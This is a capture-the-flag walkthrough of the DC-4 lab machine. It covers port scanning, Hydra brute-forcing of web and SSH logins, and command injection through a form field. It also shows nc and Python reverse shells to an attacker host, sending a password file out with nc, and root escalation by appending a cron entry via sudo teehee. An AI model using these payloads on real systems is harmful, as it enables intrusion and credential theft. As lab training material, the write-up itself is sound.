

## DC-4

Thursday, 30 May 2019 11:48 PM

### Netdiscover:

```
Currently scanning: Finished! | Screen View: Unique Hosts  
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
```

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.2.1	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.2	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.3	08:00:27:30:44:6e	1	60	PCS Systemtechnik GmbH
10.0.2.44	08:00:27:c5:88:43	1	60	PCS Systemtechnik GmbH

### Nmap:

```
root@kali:~/notes# nmap -A -T4 -p- -sV dc-4  
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 10:42 +08  
Nmap scan report for dc-4 (10.0.2.44)  
Host is up (0.00021s latency).  
Not shown: 65533 closed ports  
PORT      STATE SERVICE VERSION  
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)  
|_ ssh-hostkey:  
|   2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)  
|   256  e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)  
|_  256  fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)  
80/tcp    open  http      nginx 1.15.10  
|_ http-server-header: nginx/1.15.10  
|_ http-title: System Tools  
MAC Address: 08:00:27:C5:88:43 (Oracle VirtualBox virtual NIC)  
Device type: general purpose  
Running: Linux 3.X|4.X  
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4  
OS details: Linux 3.2 - 4.9  
Network Distance: 1 hop  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Nikto:

```
- Nikto v2.1.6  
-----  
+ Target IP:      10.0.2.44  
+ Target Hostname: 10.0.2.44  
+ Target Port:    80  
+ Start Time:     2019-05-26 10:44:39 (GMT8)  
-----  
+ Server: nginx/1.15.10  
+ The anti-clickjacking X-Frame-Options header is not present.  
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS  
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type  
+ No CGI Directories found (use '-C all' to force check all possible dirs)  
+ Cookie PHPSESSID created without the httponly flag  
+ 7915 requests: 0 error(s) and 4 item(s) reported on remote host  
+ End Time:       2019-05-26 10:44:56 (GMT8) (17 seconds)  
-----  
+ 1 host(s) tested
```

### Using Hydra:

#### Getting parameters

```
POST /login.php HTTP/1.1  
Host: dc-4  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://dc4/index.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 32  
Cookie: PHPSESSID=4qsd94fbpkk5boe0146ubg3fg6  
Connection: close  
Upgrade-Insecure-Requests: 1  
username=admin&password=password
```

#### Full command & username/password combination

```
[80][http-post-form] host: 10.0.2.44 login: admin password: blue123  
[STATUS] attack finished for 10.0.2.44 (valid pair found)  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-06-01 12:21:13  
san@kali:~/notes/dc4$ hydra -l admin -P password.txt 10.0.2.44 http-post-form -V -f "/login.php:username='USER'&password='PASS':Systems Login:H=Cookie: PHPSESSID=4qsd94fbpkk5boe0146ubg3fg6"
```

### Admin console:

You are currently logged in

**Run Command:**

- ☐ List Files
- ☒ Disk Usage
- ☐ Disk Free

Run

[Return to the menu.](#)

**View source**

```
1 <html>
2 <head>
3 <title>System Tools - Command</title>
4 <link rel="stylesheet" href="css/styles.css">
5 </head>
6
7 <body>
8   <div class="container">
9     <div class="inner">
10
11       You are currently logged in<p>
12       <form method="post" action="command.php">
13         <strong>Run Command:</strong><br>
14         <input type="radio" name="radio" value="ls -l" checked="checked">List Files<br />
15         <input type="radio" name="radio" value="du -h">Disk Usage<br />
16         <input type="radio" name="radio" value="df -h">Disk Free<br />
17         <p>
18         <input type="submit" name="submit" value="Run">
19       </form>
20
21       <p><a href='login.php'>Return to the menu.</a>
22     </div>
23   </div>
24 </body>
25 </html>
```

**Parameters in burp:**

```
POST /command.php HTTP/1.1
Host: dc4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dc4/command.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Cookie: PHPSESSID=4qsd94fbpkk5boe0146ubg3fg6
Connection: close
Upgrade-Insecure-Requests: 1
```

radio=ls+&submit=Run

**Running custom commands:**

```
POST /command.php HTTP/1.1
Host: dc4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dc4/command.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Cookie: PHPSESSID=4qsd94fbpkk5boe0146ubg3fg6
Connection: close
Upgrade-Insecure-Requests: 1
```

radio=ls+-Flah+&submit=Run

Seems like we can modify parameters to  
run command on web server

```
<input type="radio" name="radio" value="df -h">
Disk Free
<br />
<p>
<input type="submit" name="submit" value="Run">
</form>
You have selected: ls -Flah /
<br />
<pre>total 80K
drwxr-xr-x 21 root root 4.0K Apr  5 20:24 ./
drwxr-xr-x 21 root root 4.0K Apr  5 20:24 ../
drwxr-xr-x  2 root root 4.0K Apr  5 21:06 bin/
drwxr-xr-x  3 root root 4.0K Apr  5 20:37 boot/
drwxr-xr-x 16 root root 2.9K Jun  1 11:14 dev/
drwxr-xr-x 80 root root 4.0K Jun  1 14:33 etc/
drwxr-xr-x  5 root root 4.0K Apr  7 02:33 home/
lrwxrwxrwx  1 root root  27 Apr  5 20:24 initrd.img -> boot/initrd.img-4.9.0-3-686
lrwxrwxrwx  1 root root  27 Apr  5 20:24 initrd.img.old -> boot/initrd.img-4.9.0-3-686
drwxr-xr-x 14 root root 4.0K Apr  5 20:43 lib/
drwx-----  2 root root 16K Apr  5 20:23 lost+found/
drwxr-xr-x  3 root root 4.0K Apr  5 20:23 media/
drwxr-xr-x  2 root root 4.0K Apr  5 20:23 mnt/
drwxr-xr-x  2 root root 4.0K Apr  5 20:23 opt/
dr-xr-xr-x 76 root root  0 Jun  1 2019 proc/
drwx-----  3 root root 4.0K Apr  7 04:31 root/
drwxr-xr-x 17 root root 540 Jun  1 11:14 run/
drwxr-xr-x  2 root root 4.0K Apr  5 20:37/sbin/
drwxr-xr-x  2 root root 4.0K Apr  5 20:23 srv/
dr-xr-xr-x 12 root root  0 May 31 06:03 sys/
drwxrwxrwt  8 root root 4.0K Jun  1 14:17 tmp/
drwxr-xr-x 10 root root 4.0K Apr  5 20:23 usr/
drwxr-xr-x 12 root root 4.0K Apr  5 21:09 var/
lrwxrwxrwx  1 root root  24 Apr  5 20:24 vmlinuz -> boot/vmlinuz-4.9.0-3-686
lrwxrwxrwx  1 root root  24 Apr  5 20:24 vmlinuz.old -> boot/vmlinuz-4.9.0-3-686</pre>
```

Since html directory is owned by root, we can't put any files there

## Response

Raw Headers Hex HTML Render

```
<html>
<head>
  <title>System Tools - Command</title>
  <link rel="stylesheet" href="css/styles.css">
</head>
<body>
  <div class="container">
    <div class="inner">You are currently logged in
      <p>
        <form method="post" action="command.php">
          <strong>Run Command:</strong>
          <br>
          <input type="radio" name="radio" value="ls -l" checked="checked">
            List Files
          <br />
          <input type="radio" name="radio" value="du -h">
            Disk Usage
          <br />
          <input type="radio" name="radio" value="df -h">
            Disk Free
          <br />
          <p>
            <input type="submit" name="submit" value="Run">
          </form>
          You have selected: ls -Flah ..
          <br />
          <pre>total 12K
drwxr-xr-x  3 root root 4.0K Apr  7 00:35 ./
drwxr-xr-x 96 root root 4.0K Apr  6 20:19 ../
drwxr-xr-x  4 root root 4.0K Apr  7 02:28 html/</pre>

```

## Able to get a reverse shell

```
POST /command.php HTTP/1.1
Host: dc4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dc4/command.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Cookie: PHPSESSID=4qsd94fbpkk5boe0146ubg3fg6
Connection: close
Upgrade-Insecure-Requests: 1
```

```
radio=nc+10.0.2.45+5555+-e+/bin/sh&submit=Run
```

```
san@kali:~/notes/dc4/php-reverse-shell-1.0$ nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.0.2.45] from (UNKNOWN) [10.0.2.44] 44522
whoami
www-data
```

## Getting a full tty shell

```
echo "import pty; pty.spawn('/bin/bash')"> /tmp/shell.py
chmod +x /tmp/shell.py
python /tmp/shell.py
www-data@dc-4:/usr/share/nginx/html$
```

## Theres 3 users in this machine which corresponds to the entry in /home

```
www-data@dc-4:/home/charles$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mail Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/ssh:/usr/sbin/nologin
nginx:x:107:111:nginx user,,,:/nonexistent:/bin/false
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash
Debian-exim:x:108:112::/var/spool/exim4:/bin/false
```

```
www-data@dc-4:/opt$ ls -l /home
ls -l /home
total 20K
drwxr-xr-x  5 root  root  4.0K Apr  7 02:33 ./
drwxr-xr-x 21 root  root  4.0K Apr  5 20:24 ../
drwxr-xr-x  2 charles charles 4.0K Apr  7 04:31 charles/
drwxr-xr-x  3 jim    jim    4.0K Apr  7 04:30 jim/
drwxr-xr-x  2 sam    sam    4.0K Apr  7 04:31 sam/
```

Somehow I fucked it up and turned test.sh into a file without said

```
www-data@dc-4:/home/jim$ ls -l
total 32K
drwxr-xr-x 3 jim jim 4.0K Apr 7 04:30 ./
drwxr-xr-x 5 root root 4.0K Apr 7 02:33 ../
-rw-r--r-- 1 jim jim 220 Apr 6 20:02 .bash_logout
-rw-r--r-- 1 jim jim 3.5K Apr 6 20:02 .bashrc
-rw-r--r-- 1 jim jim 675 Apr 6 20:02 .profile
drwxr-xr-x 2 jim jim 4.0K Apr 7 02:58 backups/
-rw-r--r-- 1 jim jim 528 Apr 6 20:20 mbox
-rwsrwxrwx 1 jim jim 174 Apr 6 20:59 test.sh*
www-data@dc-4:/home/jim$ cat test.sh
cat test.sh
#!/bin/bash
for i in {1..5}
do
    sleep 1
    echo "Learn bash they said."
    sleep 1
    echo "Bash is good they said."
done
echo "But I'd rather bash my head against a brick wall."
```

Found a dictionary file

```
www-data@dc-4:/home/jim/backups$ ls -l
total 12K
drwxr-xr-x 2 jim jim 4.0K Apr 7 02:58 ./
drwxr-xr-x 3 jim jim 4.0K Apr 7 04:30 ../
-rw-r--r-- 1 jim jim 2.0K Apr 7 02:26 old-passwords.bak
www-data@dc-4:/home/jim/backups$ cat old-passwords.bak | nc 10.0.2.45 6666
cat old-passwords.bak | nc 10.0.2.45 6666
www-data@dc-4:/home/jim/backups$
```

Transferred dictionary file to attacking computer

```
san@kali:~/notes/dc4$ nc -nlvp 6666 > old.txt
listening on [any] 6666 ...
```

Seems like only jim is the only user who logged into this machine using the lastlog command

```
charles          pts/0    192.168.0.100    Sun Apr 7 02:23:55 +1000 2019
jim              pts/0    192.168.0.100    Sun Apr 7 02:23:55 +1000 2019
sam              pts/0    192.168.0.100    Sun Apr 7 02:23:55 +1000 2019
```

```
www-data@dc-4:/opt$ find / -user jim 2> /dev/null
find / -user jim 2> /dev/null
/var/mail/jim
/home/jim
/home/jim/mbox
/home/jim/test.sh
/home/jim/.profile
/home/jim/backups
/home/jim/backups/old-passwords.bak
/home/jim/.bashrc
/home/jim/.bash_logout
```

Bruteforce-ed jim's login creds

```
[22][ssh] host: 10.0.2.44 login: jim password: jibril04
[STATUS] attack finished for 10.0.2.44 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-06-01 13:38:55
san@kali:~/notes/dc4$ hydra -l jim -P old.txt -f -V 10.0.2.44 -t 4 ssh
```

Getting charles password

```
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <ElhCjIX-0000K0-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: R0

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my
password just in case anything goes wrong.

Password is: ^xHhA&hvim0y

See ya,
Charles
```

Teehee -> tee, we need to abuse this

```
charles@dc-4:~$ sudo -l
Matching Defaults entries for charles on dc-4:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on dc-4:
    (root) NOPASSWD: /usr/bin/teehee
charles@dc-4:~$
```

Abusing crontab:

Getting the right commands for cron



## Preparing a connect back shell

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.45",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

## Location of connect back shell

```
charles@dc-4:/tmp$ ls -l
total 36K
drwxrwxrwt  8 root    root    4.0K Jun  2 19:54 ./
drwxr-xr-x 21 root    root    4.0K Apr  5 20:24 ../
-rwxr-xr-x  1 charles charles 238  Jun  2 19:48 con.sh*
```

## Confirm entries on crontab

```
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-
c/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-
c/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-
c/cron.monthly )
#
* * * * * root /tmp/con.sh
```

### Abusing the real tehee command:

```
charles@dc-4:/etc$ echo "* * * * * root /tmp/con.sh"|sudo teehee -a /etc/crontab
* * * * * root /tmp/con.sh
charles@dc-4:/etc$
```

Root :)

```
san@kali:~/ssh$ nc -nlvp 7777
listening on [any] 7777 ...
connect to [10.0.2.45] from (UNKNOWN) [10.0.2.46] 32932
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
#
```

## Flag.txt

```

888 d8b 888      888 888      888 888      888 888 888
888
888 d888b 888 .d88b. 888 888      888 888 .d88b. 88888b. .d88b. 888 888 888
888
888d888888b888 d8P Y8b 888 888      888 888 d88""88b 888 "88b d8P Y8b 888 888 888
888
888888P Y88888 888888888 888 888      888 888 888 888 888 888888888 Y8P Y8P Y8P
Y8P
8888P Y8888 Y8b. 888 888      888 .d88P Y88..88P 888 888 Y8b. " " "
"
888P Y888 "Y8888 888 888      8888888P" "Y88P" 888 888 "Y8888 888 888 888
888

```

Congratulations!!!

Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those who have provided feedback, and who have taken time to complete these little challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.

# whoami

root

# █